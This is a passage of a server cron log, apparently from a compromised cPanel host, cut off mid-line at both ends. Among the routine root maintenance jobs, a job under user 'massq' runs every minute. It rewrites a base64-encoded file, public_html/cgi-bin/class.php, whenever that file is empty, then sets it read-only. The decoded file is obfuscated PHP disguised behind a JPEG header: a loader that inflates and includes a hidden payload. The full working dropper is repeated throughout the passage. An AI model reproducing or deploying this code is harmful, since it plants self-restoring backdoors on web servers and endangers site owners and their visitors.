YKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:05:01 server CROND[24754]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 16:05:01 server CROND[24756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:05:01 server CROND[24755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:05:01 server CROND[24757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:06:01 server CROND[24976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:07:01 server CROND[25040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:08:01 server CROND[25109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:09:01 server CROND[25181]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 16:09:01 server CROND[25182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:10:01 server CROND[25275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:10:01 server CROND[25276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 16:10:01 server CROND[25277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:10:01 server CROND[25278]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:11:01 server CROND[25496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:12:01 server CROND[25556]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 16:12:01 server CROND[25557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:13:01 server CROND[25676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:14:01 server CROND[25745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:15:01 server CROND[25814]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:15:01 server CROND[25815]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 16:15:01 server CROND[25816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:15:01 server CROND[25819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:16:01 server CROND[25950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:17:01 server CROND[26121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:18:01 server CROND[26189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 